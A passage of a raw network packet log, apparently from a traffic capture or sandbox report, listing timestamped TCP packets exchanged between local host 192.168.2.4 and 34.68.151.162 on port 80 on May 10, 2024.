May 10, 2024 09:20:58.513179064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513190985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513196945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513204098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513216019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513221025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513228893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513240099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513252974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513262033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513266087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513276100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513278961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513290882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513299942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513304949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513317108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513329029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513334990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513340950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513353109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513359070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513365984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513374090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513377905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513391018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513398886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513402939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513415098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513422012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513426065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513438940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513451099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513454914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513464928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513477087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513477087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513490915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513499022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513504028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513515949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513528109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513530970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513545036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513609886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513622999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513634920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513648033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513659954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513668060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513672113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513698101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513962030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513987064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513998985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514008045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514012098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514025927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514033079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514038086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514050007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514061928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514074087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514082909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514086008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514098883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514100075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514112949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514117956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514126062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514134884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514137983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514151096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514163017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.514169931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.514200926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515316010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515362024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515369892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515373945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515388012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515424013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515444994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515458107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515469074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515480995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515486002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515501976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515507936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515516996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515530109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515530109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515544891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515557051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515573025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515593052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515599966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515613079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515624046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515635967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515664101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515691042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515788078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515800953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515811920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515824080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515835047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515840054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515858889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515866041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515877962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515888929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515901089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515911102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515912056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515923023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515934944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515944958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.515945911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.515980959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.516942024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.516954899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.516968012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.516995907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517004013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517016888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517025948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517028093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517040968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517052889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517057896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517065048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517076015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517091036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517093897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517102957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517117023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517128944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517128944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517141104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517153025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517163992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517168045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517177105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517180920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517189980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517200947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517211914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517214060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517225027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517236948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517240047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517250061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517258883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517262936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517275095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517286062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517297029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517302036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517309904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517328024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517333031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.517342091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.517375946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518030882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518043995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518054962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518066883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518074989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518079042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518090963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518095970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518104076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518122911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518126011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518138885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518141985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518151045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518162966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518172979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518182993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518184900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518193007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518198013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518204927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518213034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518218040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518229961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518240929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518251896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518264055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518266916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518266916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518275976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518285036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518289089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518301964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518304110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518313885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518325090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518336058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518347025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518347979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518358946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518369913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518369913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518393040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518393040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518407106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518419027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518419981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518430948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518443108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518449068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518455029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518460989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.518469095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.518498898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.519356012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.519368887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.519393921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.519412994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.519439936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536134005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536147118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536161900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536187887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536189079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536201000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536212921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536223888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536235094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536238909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536251068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536263943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536267042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536276102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536276102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536288023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536298990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536304951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536312103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536324978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536329985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536336899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536346912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536348104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536360979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536370039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536371946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536384106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536393881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536395073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536410093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536410093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536423922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536434889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536446095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536453962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536458015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536469936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536470890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536482096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536494017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536494017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536504984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536516905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536529064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536544085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536555052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536556005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536567926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536580086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536586046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536592960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536597013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536608934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536617041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536619902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536632061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536632061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536647081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536654949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536668062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536672115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536684990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536695957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536706924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536720037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536726952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536737919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536748886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536756039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536773920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536784887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536796093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536803007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536812067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536823034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536825895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536834955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536844969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536844969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536858082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536868095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536869049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536880016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536890984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536901951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536902905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536916018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536922932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536927938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536936998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536938906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536951065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536962032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536968946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536973000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536984921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.536984921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.536997080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537000895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537009954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537022114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537033081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537034035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537044048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537055016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537055016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537067890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537077904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537079096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537097931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537101984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537111044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537122965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537133932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537143946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537147999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537157059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537166119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537166119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537168980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537182093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.537183046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537197113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.537205935 CEST	49754	80	192.168.2.4	34.68.151.162
